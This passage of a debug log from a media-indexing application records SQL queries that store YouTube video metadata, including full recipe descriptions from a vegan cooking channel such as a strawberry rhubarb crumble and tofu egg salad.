CRUMBLE\n\nFruit Filling:\n1 pint (2 cups) fresh strawberries, cubed\n2 stalk rhubarb, cubed\n⅔ cup maple syrup\n1½ tbsp tapioca starch\n1 tsp vanilla extract\ngenerous pinch of salt\n\nCrumble Topping:\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour \n½ cup almond flour\n¼ cup + 2 tbsp nut/seed butter (sunbutter, cashew, almond)\n¼ cup + 2 tbsp coconut sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt \n\n1. Preheat your oven to 350°F and have a large casserole or baking dish ready to use.\n2. To a casserole or baking dish, add the chopped strawberries and rhubarb and tapioca starch. Stir in the starch until each piece of fruit has been coated and no dry lumps remain.\n3. Pour in the maple syrup and vanilla, plus the pinch of salt, and stir once more until combined, and smooth into an even layer. Set aside while you make the crumble topping.\n4. To a food processor or blender add the almond flour, oat flour, coconut sugar, spices and salt and nut butter. Blitz a few times until the mixture is blended and resembles clumpy sand. Add the rolled oats and pulse a few times just until the oats are mixed in but not pulverized into a flour.\n5. Pour the crumble topping over the fruit mixture and smooth it out into an even layer. Bake in the oven for 35 to 40 minutes until the crumble topping is golden and the fruit layer begins to bubble up slightly through the cracks.\n6. Remove from the oven and let it rest for 10 to 15 minutes before serving. Enjoy with a dollop of plant based yogurt or ice cream and ENJOY!\n\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan GF Strawberry Rhubarb Crumble", "ec9fac00-f523-4af5-9a3e-f031ae94d392", 1, [], false, "DgaPvGrZJq8", "https://www.youtube.com/watch?v=DgaPvGrZJq8", 302, "/downloads/downloads/alec/Steamy Vegan/2023-05-14 Vegan GF Strawberry Rhubarb Crumble/Vegan GF Strawberry Rhubarb Crumble [DgaPvGrZJq8].NA", false, false, false, 1, ~U[2023-05-14 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "I've been testing out this vegan GF strawberry rhubarb crumble recipe and it's incredible!!! You absolutely must make this healthy and easy strawberry rhubarb crumble. It's the perfect time of year for it and you can whip it up in no time at all. 🍓\n\nIf you're looking for some other pie recipes to use up some of your berries then don't forget to check out these two recipes I did last year:\n1. Strawberry Rhubarb Pie: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0STRAWBERRY\u00A0RHUBARB\u00A0PIE\u00A0//\u00A0How\u00A0to\u00A0mak...\u00A0\u00A0\n2. Quick and Easy Blueberry Jam Pie: \u00A0\u00A0\u00A0•\u00A0The\u00A0Easiest\u00A0Blueberry\u00A0Pie...\u00A0EVER!\u00A0💙\u00A0Vegan...\u00A0\u00A0\n\nSTRAWBERRY RHUBARB CRUMBLE\n\nFruit Filling:\n1 pint (2 cups) fresh strawberries, cubed\n2 stalk rhubarb, cubed\n⅔ cup maple syrup\n1½ tbsp tapioca starch\n1 tsp vanilla extract\ngenerous pinch of salt\n\nCrumble Topping:\n¾ cup rolled oats\n¼ cup + 2 tbsp oat flour \n½ cup almond flour\n¼ cup + 2 tbsp nut/seed butter (sunbutter, cashew, almond)\n¼ cup + 2 tbsp coconut sugar\n½ tsp cinnamon\n¼ tsp nutmeg\n¼ tsp cardamom (optional)\n¼ tsp salt \n\n1. Preheat your oven to 350°F and have a large casserole or baking dish ready to use.\n2. To a casserole or baking dish, add the chopped strawberries and rhubarb and tapioca starch. Stir in the starch until each piece of fruit has been coated and no dry lumps remain.\n3. Pour in the maple syrup and vanilla, plus the pinch of salt, and stir once more until combined, and smooth into an even layer. Set aside while you make the crumble topping.\n4. To a food processor or blender add the almond flour, oat flour, coconut sugar, spices and salt and nut butter. Blitz a few times until the mixture is blended and resembles clumpy sand. Add the rolled oats and pulse a few times just until the oats are mixed in but not pulverized into a flour.\n5. Pour the crumble topping over the fruit mixture and smooth it out into an even layer. Bake in the oven for 35 to 40 minutes until the crumble topping is golden and the fruit layer begins to bubble up slightly through the cracks.\n6. Remove from the oven and let it rest for 10 to 15 minutes before serving. Enjoy with a dollop of plant based yogurt or ice cream and ENJOY!\n\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan GF Strawberry Rhubarb Crumble", 1, nil, false, "DgaPvGrZJq8", "https://www.youtube.com/watch?v=DgaPvGrZJq8", "/downloads/downloads/alec/Steamy Vegan/2023-05-14 Vegan GF Strawberry Rhubarb Crumble/Vegan GF Strawberry Rhubarb Crumble [DgaPvGrZJq8].NA", false, ~U[2023-05-14 00:00:00Z]] 20:31:08.300 [debug] QUERY OK source="sources" db=0.5ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.302 [debug] QUERY OK source="media_items" db=1.4ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-11 00:00:00Z], 1] 20:31:08.307 [debug] QUERY OK source="media_items" db=4.1ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Vegan Egg Salad recipe is high in protein, easy to make and tastes just like REAL EGGS! Using just a handful of fridge essentials, this vegan egg salad is a great healthy lunch idea, great for on-the-go meals or a nutritious snack.\n\nWant more easy cold salad ideas? Check out my VEGAN CHICKEN SALAD RECIPE here: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ tsp black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY // High-Protein, GF, and Plant-Based Recipe", "67340b8b-06fc-4788-962c-77db01772ae9", 1, [], false, "XmiStjsf8jU", "https://www.youtube.com/watch?v=XmiStjsf8jU", 303, "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY ⧸⧸ High-Protein, GF, and Plant-Based Recipe/Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY ⧸⧸ High-Protein, GF, and Plant-Based Recipe [XmiStjsf8jU].NA", false, false, false, 2, ~U[2023-05-11 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This Vegan Egg Salad recipe is high in protein, easy to make and tastes just like REAL EGGS! Using just a handful of fridge essentials, this vegan egg salad is a great healthy lunch idea, great for on-the-go meals or a nutritious snack.\n\nWant more easy cold salad ideas? Check out my VEGAN CHICKEN SALAD RECIPE here: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\n\nVEGAN EGG SALAD 🥚\n1 block firm or extra firm tofu, pressed for at least 30 minutes\n¼ cup vegan mayo\n3 tbsp sweet green relish\n2 tbsp dijon mustard\n1 tsp nutritional yeast\n1 tsp garlic powder\n½ tsp ground turmeric (for eggy colour)\n½ tsp black salt (kala namak, gives it eggy flavour)\nblack pepper to taste\n\nCrumble the pressed block of tofu into a large bowl using your hands, ensuring the pieces are small. Add all remaining ingredients to the tofu and stir everything well until it's a well combined mixture. Ensure all the sauces and spices coat each little piece of tofu.\nEnjoy in sandwiches, wraps, salads, crackers or on its own!\n\nPlease LIKE this video if you found it useful and SUBSCRIBE to Steamy Vegan Kitchen to always be the first to see all my new videos!\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY // High-Protein, GF, and Plant-Based Recipe", 1, nil, false, "XmiStjsf8jU", "https://www.youtube.com/watch?v=XmiStjsf8jU", "/downloads/downloads/alec/Steamy Vegan/2023-05-11 Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY ⧸⧸ High-Protein, GF, and Plant-Based Recipe/Vegan Egg Salad - THE GREATEST SANDWICH YOU'LL EVER TRY ⧸⧸ High-Protein, GF, and Plant-Based Recipe [XmiStjsf8jU].NA", false, ~U[2023-05-11 00:00:00Z]] 20:31:08.308 [debug] QUERY OK source="sources" db=0.5ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.310 [debug] QUERY OK source="media_items" db=1.5ms idle=8.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-09 00:00:00Z], 1] 20:31:08.311 [debug] QUERY OK source="media_items" db=1.0ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Take a realistic look at what I eat in a day as a gluten-free vegan! 🌱 Everything is high-protein, gluten-free and vegan and I'll even show you one of my favourite pastas for leftovers.\n\nLet me know in the comments some of your favourite meals you have every week! I always need new meal inspo and you guys are the BEST!\n\nBREAKFAST - Cheezy Bean Breakfast Burrito\nTortilla\nBlack Beans\nSalsa\nGreens\nVegan cheese\n\nDINNER - instant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS!", "0efa5c8f-534c-4f9c-95cd-9bfd43265f0c", 1, [], false, "XqXlK3E13FA", "https://www.youtube.com/watch?v=XqXlK3E13FA", 304, "/downloads/downloads/alec/Steamy Vegan/2023-05-09 What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS!/What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS! [XqXlK3E13FA].NA", false, false, false, 2, ~U[2023-05-09 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Take a realistic look at what I eat in a day as a gluten-free vegan! 🌱 Everything is high-protein, gluten-free and vegan and I'll even show you one of my favourite pastas for leftovers.\n\nLet me know in the comments some of your favourite meals you have every week! I always need new meal inspo and you guys are the BEST!\n\nBREAKFAST - Cheezy Bean Breakfast Burrito\nTortilla\nBlack Beans\nSalsa\nGreens\nVegan cheese\n\nDINNER - instant pot pasta\n ½ lb. mushrooms, chopped\n½ large red onion, diced\n1 jar of pasta sauce\n3 cups water\n1 box (4 cups) chickpea pasta noodles of choice\n½ cup kalamata olives\n1½ tbsp maple syrup\n2 tbsp red wine or balsamic vinegar\n2 tbsp italian herbs\n2 tbsp garlic powder\nsalt and pepper to taste\n2 cups spinach or wilted greens\n\n1. Set IP to 'sautè' and warm 1 tbsp oil or ¼ cup water. Add the mushrooms and onions and sautè for 5 minutes until softened.\n2. Add all the remaining ingredients and stir to combine, pressing the noodles under the liquid to ensure they cook well. Turn off sautè, seal the lid on and cook on manual high pressure for 5 minutes.\n3. Let the pressure naturally release for 5 minutes, then do a quick release for the remainder. Remove the lid, stir in the spinach and let wilt for 5 minutes. Serve with vegan parmesan if you like and enjoy!\n\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan + #SteamyVegan! I love seeing your yummy recreations 😊\n\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS!", 1, nil, false, "XqXlK3E13FA", "https://www.youtube.com/watch?v=XqXlK3E13FA", "/downloads/downloads/alec/Steamy Vegan/2023-05-09 What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS!/What I Eat In a Day As a Gluten-Free Vegan | REALISTIC MEALS! [XqXlK3E13FA].NA", false, ~U[2023-05-09 00:00:00Z]] 20:31:08.312 [debug] QUERY OK source="sources" db=0.3ms idle=9.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.314 [debug] QUERY OK source="media_items" db=1.6ms idle=4.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-06 00:00:00Z], 1] 20:31:08.316 [debug] QUERY OK source="media_items" db=1.4ms idle=6.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nIf you're interested in grabbing the same soy curls they're called Butler Soy Curls and I usually pay about $6-7 Canadian per bag at my local grocery store. You'll want to type them into google and see if they're near you. I'm sure there are other brands available too at places like Trader Joe's, Whole Foods, etc...\n\nVEGAN CHICKEN SALAD RECIPE\n½ bag Butler Soy curls, rehydrated, chopped and chilled\n2 stalks celery, finely diced\n½ medium onion, finely diced\n¼ cup vegan mayo\n½ cup diced gherkin pickles OR ⅓ cup sweet green relish\n2½ tbsp dijon mustard\n2 tsp garlic powder\nsalt and pepper to taste\n\nCombine all ingredients in a large bowl and mix very well together with a spatula until it's a well incorporated mixture. Dollop that salad on a bed of greens, enjoy it in a sandwich, spoon onto crackers, or just eat it straight out of the bowl! The possibilities are endless.\n\nPS: Not sure how to rehydrate soy curls? Simply add them to a large bowl and pour boiling hot water over them until they're completely covered. Place a plate or lid on top of the bowl and let soak for 10 minutes. Strain the soy curls through a sieve or colander and press as much remaining liquid out of them with a large spatula or wooden spoon. They will now be soft, bendy and slightly chewy and resemble the texture of meat!\n\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Chicken Salad Sandwich // Vegan and Gluten-Free Recipe", "424bcc61-25a8-4ced-8a0d-415fe3702492", 1, [], false, "_DJuoNkAa4Y", "https://www.youtube.com/watch?v=_DJuoNkAa4Y", 305, "/downloads/downloads/alec/Steamy Vegan/2023-05-06 Vegan Chicken Salad Sandwich ⧸⧸ Vegan and Gluten-Free Recipe/Vegan Chicken Salad Sandwich ⧸⧸ Vegan and Gluten-Free Recipe [_DJuoNkAa4Y].NA", false, false, false, 2, ~U[2023-05-06 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "This vegan chicken salad sandwich recipe is out of this WORLD delicious. It's vegan and gluten-free, takes minimal effort to prep and requires only a few budget-friendly fridge staples!\n\nThis recipe uses SOY CURLS, which in case you've never heard of them, are basically the Chicken of the Plant World (as I lovingly refer to them as). They're super high in protein (11g per serving!), have a deliciously similar texture to chicken/meat, and absorb flavours like a beast!\n\nIf you're interested in grabbing the same soy curls they're called Butler Soy Curls and I usually pay about $6-7 Canadian per bag at my local grocery store. You'll want to type them into google and see if they're near you. I'm sure there are other brands available too at places like Trader Joe's, Whole Foods, etc...\n\nVEGAN CHICKEN SALAD RECIPE\n½ bag Butler Soy curls, rehydrated, chopped and chilled\n2 stalks celery, finely diced\n½ medium onion, finely diced\n¼ cup vegan mayo\n½ cup diced gherkin pickles OR ⅓ cup sweet green relish\n2½ tbsp dijon mustard\n2 tsp garlic powder\nsalt and pepper to taste\n\nCombine all ingredients in a large bowl and mix very well together with a spatula until it's a well incorporated mixture. Dollop that salad on a bed of greens, enjoy it in a sandwich, spoon onto crackers, or just eat it straight out of the bowl! The possibilities are endless.\n\nPS: Not sure how to rehydrate soy curls? Simply add them to a large bowl and pour boiling hot water over them until they're completely covered. Place a plate or lid on top of the bowl and let soak for 10 minutes. Strain the soy curls through a sieve or colander and press as much remaining liquid out of them with a large spatula or wooden spoon. They will now be soft, bendy and slightly chewy and resemble the texture of meat!\n\n------------------------------------------------------------------------------------------------------------------\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\nWatch my other 'WHAT I EAT' videos ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n------------------------------------------------------------------------------------------------------------------\nIf you made any of these recipes and decide to share them on Facebook or Instagram, don't forget to tag me @SteamyVegan+ #SteamyVegan! I love seeing your yummy recreations 😊\n\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Chicken Salad Sandwich // Vegan and Gluten-Free Recipe", 1, nil, false, "_DJuoNkAa4Y", "https://www.youtube.com/watch?v=_DJuoNkAa4Y", "/downloads/downloads/alec/Steamy Vegan/2023-05-06 Vegan Chicken Salad Sandwich ⧸⧸ Vegan and Gluten-Free Recipe/Vegan Chicken Salad Sandwich ⧸⧸ Vegan and Gluten-Free Recipe [_DJuoNkAa4Y].NA", false, ~U[2023-05-06 00:00:00Z]] 20:31:08.317 [debug] QUERY OK source="sources" db=0.5ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.319 [debug] QUERY OK source="media_items" db=2.2ms idle=5.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-05-03 00:00:00Z], 1] 20:31:08.322 [debug] QUERY OK source="media_items" db=2.7ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["A look at some quick high-protein vegan meals, what I eat in a day! Realistic, simple and delicious recipes. 🌱🥣 I ate as much protein as I realistically could on this day and really enjoyed what I came up with. 😊\n\nEating plant-based makes me feel good, keeps me fuelled and fills my body with so much energy!\n\nRECIPES IN THIS VIDEO\n\nBREAKFAST - chocolate protein chia pudding\nFor 1 serving\n8 oz plant 